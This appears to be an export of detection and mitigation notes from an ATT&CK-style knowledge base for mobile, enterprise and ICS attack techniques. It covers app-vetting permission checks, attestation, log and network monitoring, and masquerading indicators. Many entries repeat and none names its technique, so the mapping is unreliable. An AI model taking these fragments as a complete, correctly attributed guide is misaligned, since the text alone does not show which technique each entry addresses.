Application vetting services could look for android.permission.READ_CONTACTS in an Android application’s manifest, or NSContactsUsageDescription in an iOS application’s Info.plist file. Most applications do not need contact list access, so extra scrutiny could be applied to those that request it.
+On both Android and iOS, the user can manage which applications have permission to access the contact list through the device settings screen, revoking the permission if necessary.
Current version: 1.0
Description:
Application vetting services could look for the Android permission android.permission.QUERY_ALL_PACKAGES, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API LSApplicationWorkspace and apply extra scrutiny to applications that employ it.
Current version: 1.0
Description:
Application vetting services could look for the Android permission android.permission.QUERY_ALL_PACKAGES, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API LSApplicationWorkspace and apply extra scrutiny to applications that employ it.
Current version: 1.0
Description:
The user can view permissions granted to an application in device settings.
+Application vetting services typically flag permissions requested by an application, which can be reviewed by an administrator. Certain dangerous permissions, such as RECEIVE_SMS, could receive additional scrutiny.
Current version: 1.0
Description:
The user can view permissions granted to an application in device settings.
+Application vetting services typically flag permissions requested by an application, which can be reviewed by an administrator. Certain dangerous permissions, such as RECEIVE_SMS, could receive additional scrutiny.
Current version: 1.0
Description:
On Android, the user is presented with a permissions popup when an application requests access to external device storage.
Current version: 1.0
Description:
On Android, the user is presented with a permissions popup when an application requests access to external device storage.
Current version: 1.0
Description:
Applications could be vetted for their use of the clipboard manager APIs with extra scrutiny given to application that make use of them.
Current version: 1.0
Description:
Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious. +Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.
Current version: 1.0
Description:
Mobile security products may provide URL inspection services that could determine if a domain being visited is malicious. +Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.
Current version: 1.0
Description:
Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Application vetting services could look for android.permission.READ_SMS in an Android application’s manifest. Most applications do not need access to SMS messages, so extra scrutiny could be applied to those that request it.
+On Android, the user can manage which applications have permission to access SMS messages through the device settings screen, revoking the permission if necessary.
Current version: 1.0
Description:
Application vetting services could look for android.permission.READ_SMS in an Android application’s manifest. Most applications do not need access to SMS messages, so extra scrutiny could be applied to those that request it.
+On Android, the user can manage which applications have permission to access SMS messages through the device settings screen, revoking the permission if necessary.
Current version: 1.0
Description:
Application vetting can detect many techniques associated with impairing device defenses.(Citation: Samsung Knox Mobile Threat Defense) +Mobile security products integrated with Samsung Knox for Mobile Threat Defense can monitor processes to see if security tools are killed or stop running.
Current version: 1.0
Description:
If the user sees a notification with text they do not recognize, they should review their list of installed applications.
Current version: 1.0
Description:
If the user sees a notification with text they do not recognize, they should review their list of installed applications.
Current version: 1.0
Description:
Mobile threat defense agents could detect unauthorized operating system modifications by using attestation.
Current version: 1.0
Description:
Application vetting services could look for use of the accessibility service or features that typically require root access. +The user can see a list of applications that can use accessibility services in the device settings.
Current version: 1.0
Description:
Mobile security products can often alert the user if their device is vulnerable to known exploits.
Current version: 1.0
Description:
Mobile security products can often alert the user if their device is vulnerable to known exploits.
Current version: 1.0
Description:
Mobile security products can typically detect rooted devices, which is an indication that Process Discovery is possible. Application vetting could potentially detect when applications attempt to abuse root access or root the system itself. Further, application vetting services could look for attempted usage of legacy process discovery mechanisms, such as the usage of ps or inspection of the /proc directory.
Current version: 1.0
Description:
Mobile security products can typically detect rooted devices, which is an indication that Process Discovery is possible. Application vetting could potentially detect when applications attempt to abuse root access or root the system itself. Further, application vetting services could look for attempted usage of legacy process discovery mechanisms, such as the usage of ps or inspection of the /proc directory.
Current version: 1.0
Description:
The user can view a list of active device administrators in the device settings.
Current version: 1.0
Description:
Mobile threat defense agents could detect unauthorized operating system modifications by using attestation.
Current version: 1.0
Description:
The user can view which applications have permission to use the camera through the device settings screen, where the user can then choose to revoke the permissions.
+During the vetting process, applications using the Android permission android.permission.CAMERA, or the iOS NSCameraUsageDescription plist entry could be given closer scrutiny.
Current version: 1.0
Description:
The user can view which applications have permission to use the camera through the device settings screen, where the user can then choose to revoke the permissions.
+During the vetting process, applications using the Android permission android.permission.CAMERA, or the iOS NSCameraUsageDescription plist entry could be given closer scrutiny.
Current version: 1.0
Description:
Network service scanning can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Network service scanning can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Application vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay. +The user can view a list of device administrators and applications that have registered Accessibility services in device settings. Applications that register an Accessibility service should be scrutinized further for malicious behavior.
Current version: 1.0
Description:
Exfiltration Over Alternative Protocols can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Exfiltration Over Alternative Protocols can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Mobile security products may be able to detect some forms of user evasion. Otherwise, the act of hiding malicious activity could be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. +Many properly configured firewalls may naturally block bidirectional command and control traffic.
Current version: 1.0
Description:
Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. +Many properly configured firewalls may naturally block bidirectional command and control traffic.
Current version: 1.0
Description:
Exfiltration Over Unencrypted Non-C2 Protocols can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Exfiltration Over Unencrypted Non-C2 Protocols can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity and alerts users when their credentials have been used on a new device. Apple iCloud also provides notifications to users of account activity such as when credentials have been used.
Current version: 1.0
Description:
Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity and alerts users when their credentials have been used on a new device. Apple iCloud also provides notifications to users of account activity such as when credentials have been used.
Current version: 1.0
Description:
The user can review available call logs for irregularities, such as missing or unrecognized calls. +The user can view their default phone app in device settings.
Current version: 1.0
Description:
Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.
Current version: 1.0
Description:
Usage of insecure or malicious third-party libraries could be detected by application vetting services. Malicious software development tools could be detected by enterprises that deploy endpoint protection software on computers that are used to develop mobile apps. Application vetting could detect the usage of insecure or malicious third-party libraries.
Current version: 1.0
Description:
The user can view and manage installed third-party keyboards. +Application vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay.
Current version: 1.0
Description:
The user can view and manage installed third-party keyboards. +Application vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay.
Current version: 1.0
Description:
Many properly configured firewalls may also naturally block command and control traffic over non-standard ports. +Application vetting reports may show network communications performed by the application, including hosts, ports, protocols, and URLs. Further detection would most likely be at the enterprise level, through packet and/or netflow inspection.
Current version: 1.0
Description:
Many properly configured firewalls may also naturally block command and control traffic over non-standard ports. +Application vetting reports may show network communications performed by the application, including hosts, ports, protocols, and URLs. Further detection would most likely be at the enterprise level, through packet and/or netflow inspection.
Current version: 1.0
Description:
Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Application vetting services could look for usage of the READ_PRIVILEGED_PHONE_STATE Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.
Current version: 1.0
Description:
Application vetting services could look for usage of the READ_PRIVILEGED_PHONE_STATE Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.
Current version: 1.0
Description:
Application vetting services could look for usage of the READ_PRIVILEGED_PHONE_STATE Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.
Current version: 1.0
Description:
Application vetting services could look for usage of the READ_PRIVILEGED_PHONE_STATE Android permission. This could indicate that non-system apps are attempting to access information that they do not have access to.
Current version: 1.0
Description:
Mobile security products can use attestation to detect compromised devices.
Current version: 1.0
Description:
Mobile security products can use attestation to detect compromised devices.
Current version: 1.0
Description:
Application vetting services can detect which broadcast intents an application registers for and which permissions it requests.
Current version: 1.0
Description:
Application vetting services could detect applications trying to modify files in protected parts of the operating system. +Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android’s SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromised devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.
Current version: 1.0
Description:
Application vetting services could detect applications trying to modify files in protected parts of the operating system. +Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android’s SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromised devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.
Current version: 1.0
Description:
Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Accessing data from the local system can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
The user can examine the list of all installed applications, including those with a suppressed icon, in the device settings. If the user is redirected to the device settings when tapping an application’s icon, they should inspect the application to ensure it is genuine. +Application vetting services could potentially detect the usage of APIs intended for suppressing the application’s icon.
Current version: 1.0
Description:
Unexpected behavior from an application could be an indicator of masquerading. +Application vetting services may potentially determine if an application contains suspicious code and/or metadata.
Current version: 1.0
Description:
Unexpected behavior from an application could be an indicator of masquerading. +Application vetting services may potentially determine if an application contains suspicious code and/or metadata.
Current version: 1.0
Description:
The OS may show a notification to the user that the Signal or WhatsApp account has been linked to a new device.
Current version: 1.0
Description:
The OS may show a notification to the user that the Signal or WhatsApp account has been linked to a new device.
Current version: 1.0
Description:
This is abuse of standard OS-level APIs and are therefore typically undetectable to the end user.
Current version: 1.0
Description:
Application vetting services could look for connections to unknown domains or IP addresses. +Application vetting services may indicate precisely what content was requested during application execution.
Current version: 1.0
Description:
Application vetting services could look for connections to unknown domains or IP addresses. +Application vetting services may indicate precisely what content was requested during application execution.
Current version: 1.0
Description:
Hooking can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.
Current version: 1.0
Description:
Dynamic analysis, when used in application vetting, may in some cases be able to identify malicious code in obfuscated or encrypted form by detecting the code at execution time (after it is deobfuscated or decrypted). Some application vetting techniques apply reputation analysis of the application developer and can alert to potentially suspicious applications without actual examination of application code.
Current version: 1.0
Description:
Dynamic analysis, when used in application vetting, may in some cases be able to identify malicious code in obfuscated or encrypted form by detecting the code at execution time (after it is deobfuscated or decrypted). Some application vetting techniques apply reputation analysis of the application developer and can alert to potentially suspicious applications without actual examination of application code.
Current version: 1.0
Description:
Application vetting services can detect malicious code in applications. +System partition integrity checking mechanisms can detect unauthorized or malicious code contained in the system partition.
Current version: 1.0
Description:
Application vetting services can detect malicious code in applications. +System partition integrity checking mechanisms can detect unauthorized or malicious code contained in the system partition.
Current version: 1.0
Description:
Monitor for API calls that can be used to install a hook procedure, such as the SetWindowsHookEx and SetWinEventHook functions.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017) +Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow.
Current version: 1.0
Description:
Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). +Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. +Monitor for application logging, messaging, and/or other artifacts that may result from Denial of Service (DoS) attacks which degrade or block the availability of services to users. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. +Monitor operational data for indicators of temporary data loss which may indicate a Denial of Service. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.
Current version: 1.0
Description:
Monitor for an authentication attempt by a user that may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. +Monitor for logon behavior that may abuse credentials of existing accounts as a means of gaining Lateral Movement or Persistence. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). +Monitor for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account.
Current version: 1.0
Description:
Monitor for newly constructed services/daemons that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. +Monitor for changes made to files outside of an update or patch that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. +Monitor for file names that are mismatched between the file name on disk and that of the binary's metadata. This is a likely indicator that a binary was renamed after it was compiled. For added context on adversary procedures and background see Masquerading and applicable sub-techniques. +Monitor executed commands and arguments that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.(Citation: Twitter ItsReallyNick Masquerading Update) +Monitor for changes made to scheduled jobs that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. +Monitor for changes made to services that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. +Collect file hashes. Monitor for file names that do not match their expected hash. Perform file monitoring. Files with known names but in unusual locations are suspect. Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE". For added context on adversary procedures and background see Masquerading and applicable sub-techniques. +Monitor for newly constructed scheduled jobs that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.
Current version: 1.0
Description:
Monitor login sessions for new or unexpected devices or sessions on wireless networks. +Monitor application logs for new or unexpected devices or sessions on wireless networks. +New or irregular network traffic flows may indicate potentially unwanted devices or sessions on wireless networks. In Wi-Fi networks monitor for changes such as rogue access points or low signal strength, indicating a device is further away from the access point then expected and changes in the physical layer signal.(Citation: Nzyme Alerts Intro) (Citation: Wireless Intrusion Detection) Network traffic content will provide important context, such as hardware (e.g., MAC) addresses, user accounts, and types of messages sent.
Current version: 1.0
Description:
Monitor ICS automation network protocols for functions related to reading an operational process state (e.g., “Read” function codes in protocols like DNP3 or Modbus). In some cases, there may be multiple ways to monitor an operational process’ state, one of which is typically used in the operational environment. Monitor for the operating mode being checked in unexpected ways. +Monitor applications logs for any access attempts to operational databases (e.g., historians) or other sources of operational data within the ICS environment. These devices should be monitored for adversary collection using techniques relevant to the underlying technologies (e.g., Windows, Linux).
Current version: 1.0
Description:
Monitor for loss of network traffic which could indicate alarms are being suppressed. A loss of expected communications associated with network protocols used to communicate alarm events or process data could indicate this technique is being used. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Monitor for loss of operational process data which could indicate alarms are being suppressed. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Monitor for loss of expected device alarms which could indicate alarms are being suppressed. As noted in the technique description, there may be multiple sources of alarms in an ICS environment. Discrepancies between alarms may indicate the adversary is suppressing some but not all the alarms in the environment. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Monitor for loss of expected operational process alarms which could indicate alarms are being suppressed. As noted in the technique description, there may be multiple sources of alarms in an ICS environment. Discrepancies between alarms may indicate the adversary is suppressing some but not all the alarms in the environment. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.
Current version: 1.0
Description:
No standard detection method currently exists for this technique.
Current version: 1.0
Description:
Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures.
Current version: 1.0
Description:
Monitor for firmware changes which may be observable via operational alarms from devices. +Monitor device application logs for firmware changes, although not all devices will produce such logs. +Monitor firmware for unexpected changes. Asset management systems should be consulted to understand known-good firmware versions. Dump and inspect BIOS images on vulnerable systems and compare against known good images.(Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed.(Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit) +Monitor ICS management protocols / file transfer protocols for protocol functions related to firmware changes.
Current version: 1.0
Description:
No standard detection method currently exists for this technique.
Current version: 1.0
Description:
Monitor for newly executed processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery. +Monitor for newly constructed files copied to or from removable media. +Monitor for newly constructed drive letters or mount points to removable media. +Monitor for files accessed on removable media, particularly those with executable content.
Current version: 1.0
Description:
Monitor for any suspicious attempts to enable script execution on a system. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible, to determine their actions and intent. +Monitor executed commands and arguments for actions that could be taken to collect internal data. +Monitor for unexpected files (e.g., .pdf, .docx, .jpg) viewed for collecting internal data. +Monitor for information collection on assets that may indicate deviations from standard operational tools. Examples include unexpected industrial automation protocol functions, new high volume communication sessions, or broad collection across many hosts within the network.
Current version: 1.0
Description:
Monitor command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. +Monitor log files for process execution through command-line and scripting activities. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages. +Monitor contextual data about a running process, which may include information such as environment variables, image name, user/owner, or other information that may reveal abuse of system features. +Monitor for events associated with scripting execution, such as the loading of modules associated with scripting languages (e.g., JScript.dll, vbscript.dll). +Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
Current version: 1.0
Description:
Analyze network data for uncommon data flows (e.g., new protocols in use between hosts, unexpected ports in use). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. +Monitor for mismatches between protocols and their expected ports (e.g., non-HTTP traffic on tcp:80). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
Current version: 1.0
Description:
Monitor operational process data for write commands for an excessive number of I/O points or manipulating a single value an excessive number of times. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Some asset application logs may provide information on I/O points related to write commands. Monitor for write commands for an excessive number of I/O points or manipulating a single value an excessive number of times. +Monitor network traffic for ICS functions related to write commands for an excessive number of I/O points or manipulating a single value an excessive number of times.
Current version: 1.0
Description:
Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash.
Current version: 1.0
Description:
Monitor for files (such as /etc/hosts) being accessed that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. +Monitor for newly executed processes that can be used to discover remote systems, such as ping.exe and tracert.exe , especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) Consider monitoring for new processes engaging in scanning activity or connecting to multiple systems by correlating process creation network data. +Monitor for anomalies related to discovery related ICS functions, including devices that have not previously used these functions or for functions being sent to many outstations. Note that some ICS protocols use broadcast or multicast functionality, which may produce false positives. Also monitor for hosts enumerating network connected resources using non-ICS enterprise protocols. +Monitor for new ICS protocol connections to existing assets or for device scanning (i.e., a host connecting to many devices) over ICS and enterprise protocols (e.g., ICMP, DCOM, WinRM). For added context on adversary enterprise procedures and background see Remote System Discovery.
Current version: 1.0
Description:
Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Web Application Firewalls may detect improper inputs attempting exploitation. +Use deep packet inspection to look for artifacts of common exploit traffic, such as known payloads.
Current version: 1.0
Description:
Monitor asset application logs for information that indicate task parameters have changed. +Monitor device alarms that indicate controller task parameters have changed, although not all devices produce such alarms.
+Program Download may be used to enable this technique. Monitor for program downloads which may be noticeable via operational alarms. Asset management systems should be consulted to understand expected program versions. +Engineering and asset management software will often maintain a copy of the expected program loaded on a controller and may also record any changes made to controller programs and tasks. Data from these platforms can be used to identify modified controller tasking.
Current version: 1.0
Description:
Devices that provide user access to the underlying operating system may allow the installation of custom software to monitor OS API execution. Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior.
Current version: 1.0
Description:
Purely passive network sniffing cannot be detected effectively. In cases where the adversary interacts with the wireless network (e.g., joining a Wi-Fi network) detection may be possible. Monitor for new or irregular network traffic flows which may indicate potentially unwanted devices or sessions on wireless networks. In Wi-Fi networks monitor for changes such as rogue access points or low signal strength, indicating a device is further away from the access point then expected and changes in the physical layer signal.(Citation: Nzyme Alerts Intro) (Citation: Wireless Intrusion Detection) Network traffic content will provide important context, such as hardware (e.g., MAC) addresses, user accounts, and types of messages sent.
Current version: 1.0
Description:
Monitor for network traffic originating from unknown/unexpected hardware devices. Local network traffic metadata (such as source MAC addressing) may be helpful in identifying transient assets. +Networking devices such as switches may log when new client devices connect (e.g., SNMP notifications). Monitor for any logs documenting changes to network connection status to determine when a new connection has occurred, including the resulting addresses (e.g., IP, MAC) of devices on that network.
Current version: 1.0
Description:
Monitor for unexpected network share access, such as files transferred between shares within a network using protocols such as Server Message Block (SMB). +Monitor for alike file hashes or characteristics (ex: filename) that are created on multiple hosts. +Monitor for file creation in conjunction with other techniques (e.g., file transfers using Remote Services). +Monitor for unusual processes with internal network connections creating files on-system which may be suspicious. +Monitor executed commands and arguments for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. +Monitor newly constructed processes that assist in lateral tool transfers, such as file transfer programs. +Monitor for network traffic originating from unknown/unexpected hosts. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware.
Current version: 1.0
Description:
Various techniques enable spoofing a reporting message. Consider monitoring for Rogue Master and Adversary-in-the-Middle activity which may precede this technique. +Monitor asset logs for alarms or other information the adversary is unable to directly suppress. Relevant alarms include those from a loss of communications due to Adversary-in-the-Middle activity. +Various techniques enable spoofing a reporting message. Monitor for LLMNR/NBT-NS poisoning via new services/daemons which may be used to enable this technique. For added context on adversary procedures and background see LLMNR/NBT-NS Poisoning and SMB Relay. +Spoofed reporting messages may be detected by reviewing the content of automation protocols, either through detecting based on expected values or comparing to other out of band process data sources. Spoofed messages may not precisely match legitimate messages which may lead to malformed traffic, although traffic may be malformed for many benign reasons. Monitor reporting messages for changes in how they are constructed.
+Various techniques enable spoofing a reporting message. Consider monitoring for Rogue Master and Adversary-in-the-Middle activity.
Current version: 1.0
Description:
No standard detection method currently exists for this technique.
Current version: 1.0
Description:
Monitor for unexpected/abnormal access to files that may be malicious collection of local data, such as user files (e.g., .pdf, .docx, .jpg, .dwg ) or local databases. +Monitor for newly executed processes that may search local system sources, such as file systems or local databases, to find files of interest and sensitive data. +Monitor for any suspicious attempts to enable scripts running on a system. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. +Monitor for API calls that may search local system sources, such as file systems or local databases, to find files of interest and sensitive data. +Monitor executed commands and arguments that may search and collect local system sources, such as file systems or local databases, to find files of interest and sensitive data. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Current version: 1.0
Description:
Monitor executed commands and arguments that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. +Monitor for API calls that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. +Monitor for changes made to Windows Registry keys or values that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. For added context on adversary procedures and background see Indicator Removal and applicable sub-techniques. +Monitor for contextual file data that may show signs of deletion or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. +Monitor Windows registry keys that may be deleted or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. For added context on adversary procedures and background see Indicator Removal and applicable sub-techniques. +Monitor for a file that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. +Monitor for changes made to a file may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. +Monitor for newly executed processes that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.
Current version: 1.0
Description:
Monitor executed commands and arguments that may attempt to take screen captures of the desktop to gather information over the course of an operation. +Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware) The data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.
Current version: 1.0
Description:
Monitor device alarms for program downloads, although not all devices produce such alarms. +Monitor for protocol functions related to program download or modification. Program downloads may be observable in ICS automation protocols and remote management protocols. +Consult asset management systems to understand expected program versions. +Monitor devices configuration logs which may contain alerts that indicate whether a program download has occurred. Devices may maintain application logs that indicate whether a full program download, online edit, or program append function has occurred.
Current version: 1.0
Description:
Devices that provide user access to the underlying operating system may allow the installation of custom software to monitor OS API execution. Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior.
Current version: 1.0
Description:
Monitor for newly constructed logon behavior within Microsoft's SharePoint can be configured to report access to certain pages and documents.(Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource.(Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter.(Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. +In the case of detecting collection from shared network drives monitor for unexpected and abnormal accesses to network shares. +Monitor for third-party application logging, messaging, and/or other artifacts that may leverage information repositories to mine valuable information. Information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.
Current version: 1.0
Description:
Monitor ICS management protocols for functions that change an asset’s operating mode. +Monitor device application logs which may contain information related to operating mode changes, although not all devices produce such logs. +Monitor alarms for information about when an operating mode is changed, although not all devices produce such logs.
Current version: 1.0
Description:
Monitor network traffic for default credential use in protocols that allow unencrypted authentication. +Monitor logon sessions for default credential use.
Current version: 1.0
Description:
No standard detection method currently exists for this technique.
Current version: 1.0
Description:
Monitor for changes made to a large quantity of files for unexpected modifications in both user directories and directories used to store programs and OS components (e.g., C:\Windows\System32). +Monitor for newly executed processes of binaries that could be involved in data destruction activity, such as SDelete. +Monitor for unexpected deletion of files. +Monitor executed commands and arguments for binaries that could be involved in data destruction activity, such as SDelete.
Current version: 1.0
Description:
Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). +Monitor for known proxy protocols (e.g., SOCKS, Tor, peer-to-peer protocols) and tool usage (e.g., Squid, peer-to-peer software) on the network that are not part of normal operations. Also monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.
Current version: 1.0
Description:
On Windows and Unix systems monitor executed commands and arguments that may use shell commands for execution. Shells may be common on administrator, developer, or power user systems depending on job function.
+On network device and embedded system CLIs consider reviewing command history if unauthorized or suspicious commands were used to modify device configuration. +Monitor logs from installed applications (e.g., historian logs) for unexpected commands or abuse of system features. +Monitor for processes spawning from known command shell applications (e.g., PowerShell, Bash). Benign activity will need to be allow-listed. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.
Current version: 1.0
Description:
